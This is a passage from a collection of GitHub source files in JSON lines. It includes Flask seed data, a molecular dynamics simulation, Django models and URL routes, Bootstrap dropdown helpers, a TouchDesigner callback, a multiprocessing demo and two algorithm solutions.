apply!',\n        post_image='../assets/images/companies/general_assembly.png',\n        owner=jack,\n        industries=[industry8, industry4]\n    )\n\n    job_post_3 = JobPost(\n        company='King\\'s College London',\n        job_title=\"King's Prize Fellowship - Health Related Research\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/kings_college_london.jpg',\n        owner=jason,\n        industries=[industry71, industry83, industry74]\n    )\n\n    job_post_4 = JobPost(\n        company='NCVO',\n        job_title=\"Capacity Building Programmes Manager\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/ncvo.png',\n        owner=david,\n        industries=[industry34, industry52]\n    )\n\n    job_post_5 = JobPost(\n        company='Harris Hill',\n        job_title=\"Communications Assistant\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/harris_hill.png',\n        owner=olivia,\n        industries=[industry72, industry111]\n    )\n\n    job_post_6 = JobPost(\n        company='Tomorrow',\n        job_title=\"Marketing Executive\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/tomorrow.jpg',\n        owner=amelia,\n        industries=[industry60, industry50]\n    )\n\n    job_post_7 = JobPost(\n        company='The Writer',\n        job_title=\"Writer, Brand Language Consultant and Trainer\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/the_writer.png',\n        owner=david,\n        industries=[industry90, industry100]\n    )\n\n    job_post_8 = JobPost(\n        company='Fircroft',\n        job_title=\"Cost Engineer\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/fircroft.jpg',\n        owner=isla,\n        industries=[industry110, industry120]\n    )\n\n    job_post_9 = JobPost(\n        company='Springer Nature',\n        job_title=\"Digital Content Coordinator, Springer Healthcare\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/springer_nature.png',\n        owner=david,\n        industries=[industry130, industry140]\n    )\n    job_post_10 = JobPost(\n        company='King\\'s College London',\n        job_title=\"Research Assistant\",\n        post_content='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        post_image='../assets/images/companies/kings_college_london.jpg',\n        owner=jason,\n        industries=[industry150, industry160]\n    )\n\n    db.session.add_all([\n        job_post_1,\n        job_post_2,\n        job_post_3,\n        job_post_4,\n        job_post_5,\n        job_post_6,\n        job_post_7,\n        job_post_8,\n        job_post_9,\n        job_post_10\n    ])\n\n\n# Social Posts ==============================================================\n\n    social_post_1 = SocialPost(\n        post_title=\"Thanks for the support!\",\n        post_content='Hey everyone, thank you all for your support and guidance, I\\'ve just accepted an offer to start as an Intern at EBRD next month.',\n        owner=jacob,\n        industries=[industry142, industry143, industry144],\n        liked_by=[]\n    )\n\n    social_post_2 = SocialPost(\n        post_title=\"GA is the best!\",\n        post_content=\"I am a few days away from finishing the Web Development Immersive course at General Assembly London and would reccommend it to any and all aspiring web developers looking for a career change.\",\n        post_image='../assets/images/companies/general_assembly.png',\n        owner=moon,\n        industries=[industry110],\n        liked_by=[wes]\n    )\n\n    social_post_3 = SocialPost(\n        post_title=\"Stack Overflow Dev Survey 2019\",\n        post_content=\"Published just a few days ago, the Stack Overflow Developer Survey gives an excellent insight into 90,000 developers, how they work and which tools they're using. \",\n        post_link='https://insights.stackoverflow.com/survey/2019',\n        post_image='../assets/images/social/stack_overflow_survey.png',\n        owner=wes,\n        industries=[industry110],\n        liked_by=[wes]\n    )\n\n    db.session.add_all([\n        social_post_1,\n        social_post_2,\n        social_post_3\n    ])\n\n\n# Social Post Comments =====================================================\n\n    comment_1 = Comment(\n        content=\"funny hahah\",\n        social_post=social_post_1,\n        user=wes\n    )\n\n    db.session.add_all([\n        comment_1\n    ])\n\n\n    db.session.commit()\n","repo_name":"SeongJaeMoon92/final-project","sub_path":"seeds.py","file_name":"seeds.py","file_ext":"py","file_size_in_byte":42806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10678815903","text":"from __future__ import division\nfrom __future__ import print_function\nimport numpy as np\nimport numpy.random as rand\nimport scipy.spatial.distance as distance\nimport argparse\n\ndef xyzout(particles, filename, writemode='a', comment=None):\n    N = particles.shape[0]\n    with open(filename, writemode) as f:\n        print(N, file=f)\n        if comment is None:\n            print(\"Comment blank\", file=f)\n        else:\n            print(comment, file=f)\n        vdwsig = 3.4\n        for i in xrange(particles.shape[0]):\n            print(\"C     \" + \n                    \"{:>8.5f} \".format(particles[i,0] * vdwsig) +\n                    \"{:>8.5f} \".format(particles[i,1] * vdwsig) + \n                    \"{:>8.5f}\". format(particles[i,2] * vdwsig), file=f)\n\ndef enerout(U_t, K_t, step, dt, nstener, filename, writemode='a'):\n    with open(filename, writemode) as f:\n        for t, (U_i,K_i) in enumerate(zip(U_t,K_t)):\n            T =  dt * (step - (nstener-1) + t)\n            print(\"{:>10.4f} \".format(T),\n                  \"{:>10.4f} \".format(U_i),\n                  \"{:>10.4f} \".format(K_i), file=f)\n\n\ndef pbc(particles, L):\n    particles[particles >= L] -= L\n    particles[particles < 0 ] += L\n\ndef ljforces(particles, L):\n    N = particles.shape[0]\n    # Compute all distance vectors from particle i to particle j\n    #   with a minimum image convention\n    Dx_ijr   = particles[np.newaxis, :, :] - particles[:, np.newaxis, :]\n    Dx_ijr[Dx_ijr  >  L/2] -= L\n    Dx_ijr[Dx_ijr <= -L/2] += L\n\n    # Compute several powers of the distance magnitudes\n    D2_ij  = np.sum(np.square(Dx_ijr), axis = 2)\n    D_ij  =  np.reciprocal(np.sqrt(D2_ij))\n    D6_ij  = np.power(D_ij, 6)\n    D12_ij = np.square(D6_ij)\n\n    # Normalize all distance vectors and set the diagonals to zero\n    Dx_ijr /= np.sqrt(D2_ij[:, :, np.newaxis])\n    np.fill_diagonal(Dx_ijr[:,:,0], 0)\n    np.fill_diagonal(Dx_ijr[:,:,1], 0)\n    np.fill_diagonal(Dx_ijr[:,:,2], 0)\n    \n    # Compute forces for all pairs of particles within range of one\n    #   another, and zero all others. Also zero self-interactions\n    Fmag_ij = np.zeros( (N, N) )\n    U_ij    = np.zeros( (N, N) )\n    inrange = (D2_ij < 2.5**2)  *  (D2_ij != 0)\n    Fmag_ij[inrange] = ( - 48 * D12_ij[inrange]   \\\n                         + 24 *  D6_ij[inrange] ) \\\n                         * D_ij[inrange]\n    U_ij[inrange] =   4 *  ( +  D12_ij[inrange]   \\\n                             -   D6_ij[inrange] ) \n    # Point forces along the distance vector direction and sum\n    F_ijr  = Dx_ijr * Fmag_ij[:, :, np.newaxis]\n    F_ir = np.sum(F_ijr, axis = 1)\n    return F_ir, .5 * np.sum(U_ij, axis=(0,1)) \n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-nstmd\", default=500, type=int, \n            metavar=\"STEPS\",\n            help=\"Number of steps to run for production MD.\")\n    parser.add_argument(\"-nsteq\", default=500, type=int,\n            metavar=\"STEPS\",\n            help=\"Numer of steps to run for equilibration & field MD.\")\n    parser.add_argument(\"-field\", nargs=2, type=float, default=(0,0),\n            metavar=(\"N\", \"STRENGTH\"),\n            help='''Pair of args for applied field, (1) coefficient of pi/L \n            for field harmonic (2) field strength.''') \n    parser.add_argument(\"-nstxyz\", default=10, type=int,\n            metavar=\"STEPS\",\n            help=\"Frequency with which to write to posfile.\")\n    parser.add_argument(\"-seed\", default=90210, type=int,\n            metavar=\"INT\",\n            help=\"RNG seed value.\")\n    parser.add_argument(\"-posfile\", required=True,\n            metavar=\"NAME\",\n            help=\"File to write XYZ data to.\")\n    parser.add_argument(\"-enerfile\", required=True,\n            metavar=\"NAME\",\n            help=\"File to write energy data to.\")\n    parser.add_argument(\"-density\", required=True, type=float,\n            metavar=\"FRACTION\",\n            help=\"Number density per cubic diameter\")\n    parser.add_argument(\"-N_linear\", required=True, type=int,\n            metavar=\"N\",\n            help=\"Number of particles per linear dimension\")\n    parser.set_defaults(nstvrescale=100, \n                        nstener=100,\n                        nstvel=0,\n                        kT=1.5)\n    args = parser.parse_args()\n    if args.density >= 1.0 or args.density < 0:\n        raise ValueError(\"-density must be a value between 0.0 and 1.0\")\n\n    nsteq = args.nsteq\n    nstmd = args.nstmd\n    nstvrescale = args.nstvrescale\n    nstxyz = args.nstxyz\n    nstvel = args.nstvel\n    nstener = args.nstener\n    enerwrite = 'w'\n\n    U_t = np.zeros(nstener)\n    K_t = np.zeros(nstener)\n\n    density = args.density\n    N_linear = args.N_linear\n    N        = N_linear ** 3\n    rand.seed(args.seed)\n    kT       = args.kT\n    dt       = .001\n    posfile  = args.posfile\n    enerfile = args.enerfile\n    \n    L = 1. / np.power(density, 1/3) * N_linear\n    L_minforce = np.power(2, 1/6) * N_linear\n    opt_meshsize = min(L_minforce, L)\n    particles = np.zeros((N,3))\n    one_d_mesh = np.linspace(0, opt_meshsize, N_linear, endpoint=False)\n    x, y, z = np.meshgrid( one_d_mesh, one_d_mesh, one_d_mesh )\n    particles[:,0] = x.flatten()\n    particles[:,1] = y.flatten()\n    particles[:,2] = z.flatten()\n    k_field = args.field[0] * np.pi / L\n    f_field = args.field[1]\n\n    velocities = rand.normal( 0, kT/2., (N,3))\n    velocities -= np.mean(velocities, axis=0)\n    for step in xrange(nsteq):\n        if step == 0:\n            F_ir, _ = ljforces(particles, L)\n            F_ir[:, 0] += f_field * np.sin(k_field * particles[:, 0]) * k_field / np.sqrt(N)\n            xyzout(particles, posfile, writemode='w', comment=\"t={} L={} k={} F={}\".format(\n                    dt * (step - nsteq), L, k_field, f_field))\n\n        velocities += F_ir * dt/2\n        particles  += velocities * dt\n        pbc(particles, L)\n        F_ir, U = ljforces(particles, L)\n        F_ir[:, 0] -= f_field * k_field * np.sin(k_field * particles[:, 0])  / np.sqrt(N)\n        U          -= f_field *  np.sum ( np.cos(k_field * particles[:, 0])) / np.sqrt(N)\n        velocities += F_ir * dt/2\n\n        U_t[step % nstener] = U\n        K_t[step % nstener] = .5 * np.sum(np.square(velocities), axis=(0,1))\n        if step % nstener == nstener - 1:\n            enerout(U_t, K_t, step-nsteq, dt, nstener, enerfile, writemode=enerwrite)\n            enerwrite='a'\n        if step % nstvrescale == 0:\n            msv = np.sum(np.square(velocities), axis=(0,1))\n            if msv == 0:\n                scale = 0\n            else:\n                scale = np.sqrt(3 * kT * (N-1)  / msv)\n            print(\"Rescaling: {}\".format(scale))\n            velocities *= scale\n        if nstxyz > 0 and step % nstxyz == 0 and step != 0:\n            xyzout(particles, posfile, comment=\"t={} L={} k={} F={}\".format(\n                    dt * (step - nsteq), L, k_field, f_field))\n\n    for step in xrange(nstmd):\n        if step == 0:\n            F_ir, _ = ljforces(particles, L)\n            xyzout(particles, posfile, comment=\"t={} L={} k={} F={}\".format(\n                    dt * step, L, k_field, 0))\n\n        velocities += F_ir * dt/2\n        particles += velocities * dt\n        pbc(particles, L)\n        F_ir, U = ljforces(particles, L)\n        U_t[step % nstener] = U\n        K_t[step % nstener] = .5 * np.sum(np.square(velocities), axis=(0,1))\n        velocities += F_ir * dt/2\n\n        if step % nstener == nstener - 1:\n            enerout(U_t, K_t, step, dt, nstener, enerfile, writemode=enerwrite)\n            enerwrite='a'\n        if nstxyz > 0 and step % nstxyz == 0 and step != 0:\n            xyzout(particles, posfile, comment=\"t={} L={} k={} F={}\".format(\n                    dt * step, L, k_field, 0))\n        if nstvel > 0 and step % nstvel == 0 and step != 0:\n            raise NotImplementedError(\"No velocity output has been implemented\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"jrhaberstroh/CHEM220B","sub_path":"pymd/ljmd.py","file_name":"ljmd.py","file_ext":"py","file_size_in_byte":7845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4010924501","text":"# The function below is called when any passed values have changed.\r\n# Be sure to turn on the related parameter in the DAT to retrieve these values.\r\n#\r\n# me - this DAT\r\n# renderPickDat - the connected Render Pick DAT\r\n#\r\n# events - a list of named tuples with the fields listed below.\r\n# eventsPrev - a list of events holding the eventsPrev values.\r\n#\r\n#\tu\t\t\t\t- The selection u coordinate.\t\t\t(float)\r\n#\tv\t\t\t\t- The selection v coordinate.\t\t\t(float)\r\n#\tselect\t\t\t- True when a selection is ongoing.\t\t(bool)\r\n#\tselectStart\t\t- True at the start of a selection.\t\t(bool)\r\n#\tselectEnd\t\t- True at the end of a selection.\t\t(bool)\r\n#\tselectedOp\t\t- First picked operator.\t\t\t\t(OP)\r\n#\tselectedTexture\t- Texture coordinate of seleectedOp.\t(Position)\r\n#\tpickOp\t\t\t- Currently picked operator.\t\t\t(OP)\r\n#\tpos\t\t\t\t- 3D position of picked point.\t\t\t(Position)\r\n#\ttexture\t\t\t- Texture coordinate of picked point.\t(Position)\r\n#\tcolor\t\t\t- Color of picked point.\t\t\t\t(4-tuple)\r\n#\tnormal\t\t\t- Geometry normal of picked point.\t\t(Vector)\r\n#\tdepth\t\t\t- Post projection space depth.\t\t\t(float)\r\n#\tinstanceId\t\t- Instance ID of the object.\t\t\t(int)\r\n#\trow\t\t\t\t- The row associated with this event\t(float)\r\n#\tinValues\t\t- Dictionary of input DAT strings for the given row, where keys are column headers. (dict)\r\n#\tcustom  \t\t- Dictionary of selected custom attributes\r\n\r\ndef onEvents(renderPickDat, events, eventsPrev):\r\n\r\n\tfor event, eventPrev in zip(events, eventsPrev):\r\n\t\r\n\t\tif event.selectStart and event.row == 1:\r\n\t\t\tparent().Toggle(event.instanceId,start=True)\r\n\t\t\t\r\n\t\telif event.select:\r\n\t\t\tif event.row == 1:\r\n\t\t\t\tparent().Toggle(event.instanceId)\r\n\t\t\tif event.row == 2:\r\n\t\t\t\top('roll').par.value0 = event.instanceId\r\n\t\t\t\t\r\n\t\telif event.selectEnd:\r\n\t\t\tif event.row == 1:\r\n\t\t\t\tparent().Toggle(-1, end=True)\r\n\t\t\tif event.row == 2:\r\n\t\t\t\top('roll').par.value0 = -1\r\n\r\n\treturn\r\n\r\n\t","repo_name":"wuestenarchitekten/workshops","sub_path":"Sequencer/Part1/File5_renderpick1_callbacks.py","file_name":"File5_renderpick1_callbacks.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"16"}
+{"seq_id":"26465957746","text":"from django.conf import settings\nfrom django.core.cache import cache\nfrom django.db import models\nfrom django.db import transaction\nfrom django.db.models.signals import post_save\nfrom django.db.utils import DatabaseError\nfrom django.dispatch import receiver\nfrom django.utils.html import strip_tags\n\nfrom feedparser import parse\nfrom jinja2 import Markup\n\nfrom picklefield import PickledObjectField\nfrom django_extensions.db.fields import ModificationDateTimeField\n\n\nCONTRIBUTOR_SOURCE_NAMES = {\n    'all': None,\n    'sumo': 'team',\n    'reps': 'team',\n    'qa': 'team',\n    'firefox': 'team',\n    'firefoxos': 'team',\n    'firefoxforandroid': 'team',\n    'bugzilla': 'source',\n    'github': 'source',\n}\n\n\ndef twitter_cache_key(account):\n    return 'tweets-for-' + str(account)\n\n\ndef cache_tweets(account, tweets, timeout=6 * 60 * 60):\n    cache.set(twitter_cache_key(account), tweets, timeout)\n\n\nclass TwitterCacheManager(models.Manager):\n    def get_tweets_for(self, account):\n        tweets = cache.get(twitter_cache_key(account))\n        if tweets is None:\n            try:\n                tweets = self.get(account=account).tweets\n            except (TwitterCache.DoesNotExist, DatabaseError):\n                # TODO: see if we should catch other errors\n                tweets = []\n                cache_tweets(account, tweets, 10)  # try again in 10 seconds\n            else:\n                cache_tweets(account, tweets)\n        return tweets\n\n\nclass TwitterCache(models.Model):\n    account = models.CharField(max_length=100, db_index=True, unique=True)\n    tweets = PickledObjectField(default=list)\n    updated = ModificationDateTimeField()\n    objects = TwitterCacheManager()\n\n    def __unicode__(self):\n        return u'Tweets from @' + self.account\n\n\n@receiver(post_save, sender=TwitterCache)\ndef twitter_cache_post_save(sender, **kwargs):\n    instance = kwargs['instance']\n    cache_tweets(instance.account, instance.tweets)\n\n\nclass ContributorActivityManager(models.Manager):\n    def group_by_date_and_source(self, source):\n        try:\n            source_type = CONTRIBUTOR_SOURCE_NAMES[source]\n        except KeyError:\n            raise ContributorActivity.DoesNotExist\n\n        qs = self.values('date')\n        if source_type is not None:\n            field_name = source_type + '_name'\n            qs = qs.filter(**{field_name: source})\n\n        # dates are grouped in weeks. 52 results gives us a year.\n        return qs.annotate(models.Sum('total'), models.Sum('new'))[:52]\n\n\nclass ContributorActivity(models.Model):\n    date = models.DateField()\n    source_name = models.CharField(max_length=100)\n    team_name = models.CharField(max_length=100)\n    total = models.IntegerField()\n    new = models.IntegerField()\n\n    objects = ContributorActivityManager()\n\n    class Meta:\n        unique_together = ('date', 'source_name', 'team_name')\n        get_latest_by = 'date'\n        ordering = ['-date']\n\n\nclass BlogArticle(models.Model):\n    blog_slug = models.CharField(max_length=30)\n    blog_name = models.CharField(max_length=50)\n    published = models.DateTimeField()\n    updated = models.DateTimeField()\n    title = models.CharField(max_length=255)\n    summary = models.TextField()\n    link = models.URLField()\n\n    class Meta:\n        get_latest_by = 'published'\n        ordering = ['-published']\n\n    def __unicode__(self):\n        return '%s: %s' % (self.blog_name, self.title)\n\n    def get_absolute_url(self):\n        return self.link\n\n    def htmlify(self):\n        summary = strip_tags(self.summary).strip()\n        if summary.lower().endswith('continue reading'):\n            summary = summary[:-16]\n\n        return Markup(summary)\n\n    @property\n    def blog_title(self):\n        title = strip_tags(self.title).strip()\n        return Markup(title).unescape()\n\n    @property\n    def blog_link(self):\n        return settings.BLOG_FEEDS[self.blog_slug]['url']\n\n    @classmethod\n    def parse_feed(cls, feed_id, feed_options):\n        feed_url = feed_options.get('feed_url', None)\n        if feed_url is None:\n            feed_url = '%s/feed/atom/' % feed_options['url'].rstrip('/')\n        feed = parse(feed_url)\n        feed.mozorg_feed_id = feed_id\n        feed.mozorg_feed_name = feed_options['name']\n        return feed\n\n    @classmethod\n    def update_articles(cls, feed, database, num_articles):\n        if feed.entries:\n            with transaction.atomic(using=database):\n                count = 0\n                BlogArticle.objects.filter(blog_slug=feed.mozorg_feed_id).delete()\n                for article in feed.entries:\n                    try:\n                        cls.objects.create(\n                            blog_slug=feed.mozorg_feed_id,\n                            blog_name=feed.mozorg_feed_name,\n                            published=article.published,\n                            updated=article.updated,\n                            title=article.title,\n                            summary=article.summary,\n                            link=article.link,\n                        )\n                    except DatabaseError:\n                        continue\n                    count += 1\n                    if count >= num_articles:\n                        break\n\n    @classmethod\n    def update_feeds(cls, database='default', num_articles=5):\n        for feed_id, feed_options in settings.BLOG_FEEDS.items():\n            feed = cls.parse_feed(feed_id, feed_options)\n            cls.update_articles(feed, database, num_articles)\n","repo_name":"clarammdantas/bedrock","sub_path":"bedrock/mozorg/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"6238513597","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('login/', views.LoginPage, name='login'),\n    path('logout/', views.LogoutPage, name='logout'), \n    path('signup/', views.SignupPage, name='signup'), \n    path('venues/', views.conference_hall_details, name='venues'),\n    path('payment/<int:conference_id>/', views.PaymentView.as_view(), name='payment'),\n    path('profile/', views.profile, name='profile'),\n    path('contact/', views.contact, name='contact'),\n    \n]\n","repo_name":"chaakyaar/confera","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36170977590","text":"import sys\nsys.path.append(\"../dynamo\")\nfrom dynamo import *\nfrom common import extract_attributes, classed_li, classed_ul, untabbable, classes, combine, untabbable\n\n# Convenience methods for generating Twitter Bootstrap dropdown menu HTML code.\n# http://twitter.github.com/bootstrap/components.html#dropdowns for examples.\n\nDROPDOWN_CLASS = \"dropdown\"\nDROPUP_CLASS = \"dropup\"\n\nMENU_CLASS = combine(DROPDOWN_CLASS, \"menu\")\nSUBMENU_CLASS = combine(DROPDOWN_CLASS, \"submenu\")\n\nDIVIDER_CLASS = \"divider\"\n\ndef dropdown_menu(*items):\n    ''' Returns the HTML code for a dropdown menu containing the given\n    menu items. '''\n\n    return classed_ul(MENU_CLASS,\n        {\n            \"role\": \"menu\",\n            \"aria-labelledBy\": \"dropdownMenu\",\n        },\n        *items\n    )\n\n\ndef menu_item(*content):\n    ''' Returns the HTML code for a menu item in a dropdown menu. '''\n\n    return classed_li(*content)\n\n\ndef divider(*content):\n    ''' Returns the HTML code for divider in a dropdown menu. '''\n\n    return classed_li(DIVIDER_CLASS, *content)\n\n\ndef nav_header(*content):\n    ''' A header in a navigation list. '''\n\n    return classed_li(NAV_HEADER_CLASS, *content)\n\n\ndef submenu(text, url, *items):\n    ''' Returns the HTML code for a submenu in a dropdown menu. The submenu\n    can contain its own items just like a regular menu. '''\n\n    return classed_li(\n        SUBMENU_CLASS, items,\n        prepend=[a(untabbable(), text, href=url), dropdown_menu(*items)]\n    )","repo_name":"cnvandev/zwitscher-maschine","sub_path":"zwitscher_maschine/components/dropdowns.py","file_name":"dropdowns.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"128479781","text":"import sys\n\nsys.setrecursionlimit(10000)\n\ndef search(arr):\n    if len(arr) == 0:\n        return\n    \n    n = arr[0]\n    idx = 1\n    for i in range(1, len(arr)):\n        if arr[i] > n:\n            idx = i\n            break\n    search(arr[1:idx])\n    search(arr[idx:])\n    print(n)\n\narr = []\nwhile True:\n    try:\n        n = int(input())\n        arr.append(n)\n    except:\n        break\nsearch(arr)\n","repo_name":"gemstoneyang/Algorithm","sub_path":"BOJ/Data_Structure/5639.py","file_name":"5639.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35072486316","text":"import multiprocessing\nimport random\nimport time\n\n\nclass Producer(multiprocessing.Process):\n    def __init__(self, queue):\n        multiprocessing.Process.__init__(self)\n        self.queue = queue\n\n    def run(self) :\n        for i in range(10):\n            item = random.randint(0, 256)\n            self.queue.put(item) \n            print(\"Process Producer : item %d appended to queue %s\" % (item, self.name))\n            time.sleep(1)\n\n\nclass Consumer(multiprocessing.Process):\n    def __init__(self, queue):\n        multiprocessing.Process.__init__(self)\n        self.queue = queue\n\n    def run(self):\n        while True:\n            if self.queue.empty():\n                print(\"the queue is empty\")\n                break\n            else :\n                time.sleep(2)\n                item = self.queue.get()\n                print ('Process Consumer : item %d popped from by %s' % (item, self.name))\n                time.sleep(1)\n\n\nif __name__ == '__main__':\n    queue = multiprocessing.Queue()\n    process_producer = Producer(queue)\n    process_consumer = Consumer(queue)\n    process_producer.start()\n    process_consumer.start()\n    process_producer.join()\n    process_consumer.join()\n\n\"\"\"\nProcess Producer : item 240 appended to queue Producer-1\nProcess Producer : item 7 appended to queue Producer-1\nProcess Producer : item 68 appended to queue Producer-1\nProcess Consumer : item 240 popped from by Consumer-2\nProcess Producer : item 236 appended to queue Producer-1\nProcess Producer : item 102 appended to queue Producer-1\nProcess Consumer : item 7 popped from by Consumer-2\nProcess Producer : item 209 appended to queue Producer-1\nProcess Producer : item 68 appended to queue Producer-1\nProcess Producer : item 251 appended to queue Producer-1\nProcess Consumer : item 68 popped from by Consumer-2\nProcess Producer : item 149 appended to queue Producer-1\nProcess Producer : item 164 appended to queue Producer-1\nProcess Consumer : item 236 popped from by Consumer-2\nProcess Consumer : item 102 popped from by Consumer-2\nProcess Consumer : item 209 popped from by Consumer-2\nProcess Consumer : item 68 popped from by Consumer-2\nProcess Consumer : item 251 popped from by Consumer-2\nProcess Consumer : item 149 popped from by Consumer-2\nProcess Consumer : item 164 popped from by Consumer-2\nthe queue is empty\n\"\"\"","repo_name":"lanzhiwang/python3-standard-library-example","sub_path":"source/24_multiprocessing/06_using_queue.py","file_name":"06_using_queue.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"70438754248","text":"\"\"\"\n给定一个整数数组 prices，其中第 i 个元素代表了第 i 天的股票价格 ；非负整数 fee 代表了交易股票的手续费用。\n\n你可以无限次地完成交易，但是你每笔交易都需要付手续费。如果你已经购买了一个股票，在卖出它之前你就不能再继续购买股票了。\n\n返回获得利润的最大值。\n\n注意：这里的一笔交易指买入持有并卖出股票的整个过程，每笔交易你只需要为支付一次手续费。\n\n示例 1:\n\n输入: prices = [1, 3, 2, 8, 4, 9], fee = 2\n输出: 8\n解释: 能够达到的最大利润:\n在此处买入 prices[0] = 1\n在此处卖出 prices[3] = 8\n在此处买入 prices[4] = 4\n在此处卖出 prices[5] = 9\n总利润: ((8 - 1) - 2) + ((9 - 4) - 2) = 8.\n注意:\n\n0 < prices.length <= 50000.\n0 < prices[i] < 50000.\n0 <= fee < 50000.\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n    def maxProfit1(self, prices: List[int], fee: int) -> int:\n        if not prices:\n            return 0\n        n = len(prices)\n        dp = [[0, 0] for _ in range(n)]\n        dp[0][0] = -prices[0]\n        for i in range(1, n):\n            dp[i][0] = max(dp[i - 1][0], dp[i - 1][1] - prices[i])\n            dp[i][1] = max(dp[i - 1][1], dp[i - 1][0] + prices[i] - fee)\n        return dp[-1][1]\n\n    def maxProfit2(self, prices, fee):\n        cash, hold = 0, -prices[0]\n        for i in range(1, len(prices)):\n            cash = max(cash, hold + prices[i] - fee)\n            hold = max(hold, cash - prices[i])\n        return cash\n\n\nif __name__ == '__main__':\n    prices = [2, 1, 3, 6, 4]\n    fee = 3\n    print(Solution().maxProfit1(prices, fee))\n    print(Solution().maxProfit2(prices, fee))\n","repo_name":"yiming1012/MyLeetCode","sub_path":"LeetCode/股票购买专题/714. 买卖股票的最佳时机含手续费.py","file_name":"714. 买卖股票的最佳时机含手续费.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
